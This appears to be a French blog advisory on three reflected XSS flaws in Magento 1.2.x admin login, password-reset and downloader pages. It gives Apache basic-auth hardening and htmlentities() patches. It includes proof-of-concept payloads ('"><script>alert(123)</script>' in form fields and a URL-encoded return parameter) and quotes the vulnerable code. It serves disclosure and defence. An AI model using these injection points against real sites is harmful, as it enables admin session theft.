Où Varien a t’il fait un oubli ?

Well, pour les deux premières, l’explication vient d’un oubli dans le contrôle des sorties d’erreur. Je tape n’importe quoi dans la case « nom d’utilisateur » et le système me réaffiche ce que j’ai tapé pour me dire que ce n’est pas le bon login.

Si l’utilisation du framework Zend avait été uniforme et/ou si les retours d’erreurs avaient été nettoyés avec une fonction PHP du nom de htmlentities(), le problème n’aurait même pas existé. Ce qui est vrai pour Varien l’a été pour un nombre hallucinant de soft et ne riez pas avant d’avoir relu vos propres codes sources.

Cela peut-il se reproduire ?

Ouiiiiii, bien sûr.

Un oubli, une fois, un lendemain de soirée arrosée ou encore un « ballmer peak » d’un développeur et hop…
C’est la XSS. J’exagère un peu dans le sens ou, normalement, on code dans le framework Zend et on applique une revue de code, on test tout, on utilise des vérificateurs statiques ou dynamiques de code source etc… Cela devrait donc se produire très rarement voir pas. Varien a été sensibilisé cette fois ci, ca éveille leur attention sur ce point, la chasse est lancée et les consignes passées je pense. De plus, en un an, c’est la première alerte sécurité.

Mais… Si Varien gagnait un peu plus sa vie ? Si Magento leur rapportait plus d’argent, qu’ils avaient plus de partenaires etc… Ils auraient pu s’acheter les outils d’analyse statiques et dynamique dont je parle. Ma boite fait (aussi) du test de sécurité sur des soft/site Web, donc forcément on a  ce genre d’outils, mais ca coûte cher, très cher, or pour le moment, Varien à des moyens limités, une roadmap à respecter et pas des milliers de dollars à lancer par les fenêtres pour acheter ce genre de prestations ou d’outils.

Je vais voir si mon équipe de tests de sécurité aurait le temps de se pencher un peu dessus au prochain creux de production.

Allez, on applique les correctifs maintenant qu’on sait que c’est dangereux !

Celui de Gabriel de Fragento : ICI
ET (OU seulement dans le pire cas)
Celui de Wikigento : ICI

1°) Mettre à jour en 1.2.1.1 ne résoud pas le problème.

2°) Gabriel de Fragento a préparé un Patch correctif pour Magento

Voici une solution de la maison, en 3 étapes, qui fonctionne de suite si vous avez le moyen de modifier les réglages de votre VirtualHost Apache ou de le faire faire par votre hébergeur.

(De tête, mais ça devrait marcher sous la plupart des Linux, avec un shell root)

Etape 1 :

CTRL+C (copier) de ce qu’il y a ci-dessous :

<LocationMatch “/admin » >
AuthUserFile /var/www/htdocs/.htpasswd
AuthType Basic
AuthName “Magento Backoffice Login”
Require valid-user
</LocationMatch>

<LocationMatch “/downloader » >
AuthUserFile /var/www/htdocs/.htpasswd
AuthType Basic
AuthName “Magento Backoffice Login”
Require valid-user
</LocationMatch>

Insérez ca dans la configuration du virtualhost de votre site (par exemple)
cat >> /etc/apache2/sites-available/magento

CTRL+V (coller)
CTRL+D (ça stop la saisie dans le fichier et le sauve)

Remplacez /var/www/htdocs/.htpasswd par le bon chemin de votre site et /etc/apache2/sites-available/magento par le chemin vers le fichier de virtualhost de votre site.

Pouvoir le faire en .htaccess aurait été l’idéal car même sans être root sur la machine, vous auriez pu patcher le problème sur votre hébergement mutualisé, mais… La directive « LocationMatch » ne fonctionne pas en .htaccess…

Etape 2 :

Créez un fichier .htpasswd :
htpasswd -c /var/www/htdocs/.htpasswd backoffice
chown root.root /var/www/htdocs/.htpasswd
chmod 644 /var/www/htdocs/.htpasswd

Le programme vous demande un mot de passe, mettez en un décent. (au moins 8 caractères dont deux spéciaux) et idem, remplacez par le bon chemin pour le site, le chown et le chmod mettent des droits raisonnables sur ce fichier htpasswd.

Etape 3 :

Redémarrez Apache : /etc/init.d/apache2 restart
(un reload suffit peut être d’ailleurs, je ne sais plus)

Vérification :

Retournez à votre Admin, vous devriez avoir une fenêtre qui vous demande un login & un pass, utilisez le login backoffice et le mot de passe que vous avez tapé. Ne pas faire « retenir mon mot de passe » dans votre browser.

PS : N’oubliez pas que dans la conf d’apache (généralement /etc/apache2/apache2.conf) il doit y avoir ça :
<Files ~ « ^\.ht »>
Order allow,deny
Deny from all
</Files>

Pour empêcher qu’on puisse télécharger vos fichiers .htaccess et .htpasswd (ceci dit ca y est par défaut normalement)

Ajout par Gabriel de Fragento.org

En attendant un correctif officiel, Fragento vous propose des patchs maison :

1) Correctif pour le Downloader

Dans le fichier : downloader\Maged\Model\Session.php
A la ligne n° 58

Remplacez le code :

if (!empty($_GET['return'])) {
$this->set(‘return_url’, $_GET['return']);
}

Par :

if (!empty($_GET['return'])) {
$this->set(‘return_url’, htmlentities($_GET['return']));
}

2) Correctif pour la page de login

A défaut de modifier le noyau – ce qui empêcherait toute mise à jour, modifiez le template de l’administration.

Dans le fichier : app\design\adminhtml\default\default\template\login.phtml
Ligne : 54

Remplacez le code :

value= »<?php echo $username ?> »

par :

value= »<?php echo htmlentities($username) ?> »

3) Correctif pour la page de renvoi du mot de passe

A défaut de modifier le noyau – ce qui empêcherait toute mise à jour, modifiez le template de l’administration.

Dans le fichier : app\design\adminhtml\default\default\template\forgotpassword.phtml
Ligne : 57

Remplacez le code :

value= »<?php echo $email?> »

par :

value= »<?php echo htmlentities($email) ?> »

Remarques :

• Vous êtes fortement invités à diffuser le lien du sujet sur Fragento afin d’éviter des déconvenues aux utilisateurs de Magento ayant un site en production
• Si vous copiez/collez les bouts de codes, assurez-vous que les guillemets sont conservés
• D’une manière générale n’accédez jamais ni au Downloader ni à l’Administration via un lien fourni par une personne tierce, mais toujours par un accès direct, pour éviter tout risque de phising
• Ces correctifs n’affectent pas les fonctionnalités de Magento
• Tout avis d’un autre développeur sur ces correctifs « rapides & maison » est bienvenue ! Je n’ai pas la prétention que ces correctifs soient les seuls possibles, et je ne garantis pas leur efficacité pleine et totale (même si après test toute injection de code est demeurée vaine)

En effet, trois failles de sécurité de type XSS (voir post du 23/02/2009 sur la sécurité) sont présentes dans Magento 1.2.0 et probablement dans les précédentes versions également. La primauté de cette découverte revient à Loukas Kalenderidis de Sens Of Security. Du coup, je me dis que ca vaudrait le coup de passer un test un peu en profondeur à la chasse d’autres XSS, sait on jamais. De toute façon, le « Web 2.0″ c’est une mine en terme de sécurité, si ca vous intéresse, ici, un article que j’ai publié il y a quelques années dans Hackin9 à ce sujet (il n’y a pas tout, notamment l’anti DNS pinning n’y est pas de mémoire, mais ce sont de bonnes bases).

Pas de panique, la très grande majorité de Magento repose sur Zend qui est un Framework solide donc on ne devrait pas en avoir des tonnes d’autres mais il va falloir être vigilant. De plus Varien a été prévenu par l’auteur de ces 3 failles le 21/01/2009. Yoav (Directeur Technique de Varien) a probablement lancé la chasse dans le reste du code mais Gabriel de Fragento nous indique que sur une 1.2.1.1 il a repéré le même XSS comme fonctionnel (voir commentaire). Le problème ne serait donc pas résolu malgré le fait que Sens Of Security a joué dans les normes visiblement, l’éditeur à été prévenu un mois avant la publication, ce qui semble un délai raisonnable.

Voila ce qui arrive quand on développe en dehors du framework Zend ou que l’on ne contrôle pas assez ses retours d’erreurs… Les risques de ce type, les XSS, principalement sur l’admin du backoffice, sont non négligeables.

Actions à mener rapidement

1. Upgradez votre Magento ! Dès qu’une version corrigée sera disponible. Pour le moment, la dernière c’est la 1.2.1.1 au moment de la rédaction de ce billet, c’est donc une montée de version mineure si vous êtes déjà en 1.2.x, donc pas ou peu de problème (si vous n’avez pas codé dans le Core). Par contre si vous êtes en pré 1.2, ça risque d’être un peu plus sportif. De toute façon la version actuelle ne semble pas régler tout le problème.
2. Mettez le bout de conf apache qui est en bas dans le fichier de virtualhost de votre site (ou faite le faire à votre hébergeur). Ça protégera votre backoffice, XSS ou pas.
3. Sinon, vous pourrez prochainement appliquer le correctif logiciel qui nous sera fournit par Gabriel de Fragento

Les failles en elles mêmes

Vulnérabilité 1, page de login d’administration

Quand vous ratez un login, la valeur que vous allez entrer dans le champ « nom d’utilisateur » va être renvoyé à l’utilisateur sans encodage de la réponse :

1. Allez sur la page d’administration (http://monmagento/index.php/admin ou quelque chose du genre si il y a un rewriting ou une autre racine du site, bref le /admin quoi)
2. Entrez dans le champs « nom d’utilisateur » : « ><script>alert(123)</script>
   (attention, le blog est susceptible d’encoder les caractères spéciaux, il faut donc le taper « à la main », le copier/coller ne marchera peut être pas)
3. Entez n’importe quoi dans le champ « mot de passe »
4. Cliquez sur « Identifiant » et roohhhhh, une boite javascript qui vous confirme que le code dans le champ a été renvoyé sans encodage et donc exécuté par votre navigateur…

(j’ai également vérifié sur une version 1.0.x et ca marche donc il y a de grande chance que toutes les versions entre 1.0.x et 1.2.0 soient vulnérables)

Vulnérabilité 2, page « J’ai oublié mon mot de passe »

(déjà dans le principe, si tu oublie ton mot de passe admin du nackoffice, on se demande s’il est raisonnable que tu es accès à ce genre de fonction…)

1. on se rend sur http://monmagento/index.php/admin/index/forgotpassword
2. Dans la case email on met : « ><script>alert(123)</script>
   (attention, le blog est susceptible d’encoder les caractères spéciaux, il faut donc le taper « à la main », le copier/coller ne marchera peut être pas)
3. on clique sur « retrieve password » et hop, une boite javascript qui annonce qu’on est vulnérable

Allez, quand on a un filon on le lâche pas,

Vulnérabilité 3, page « Magento Connect Downloader »

Là c’est directement dans l’URL qu’on peut encoder le XSS :
http://monmagento/downloader/?return=%22%3Cscript%3Ealert(123)%3C/script%3E
(attention, le blog est susceptible d’encoder les caractères spéciaux, il faut donc le taper « à la main », le copier/coller ne marchera peut être pas)
et vous connaissez l’histoire de la boite javascript tout ça tout ça…

Bon, allez je vous laisse, j’ai des clients à prévenir qu’il faut upgrader leurs Magento

Conclusion, comme d’habitude : la sécurité à un coût mais elle n’a pas de prix !

Les correctifs ont été déplacés dans un post dédié : ICI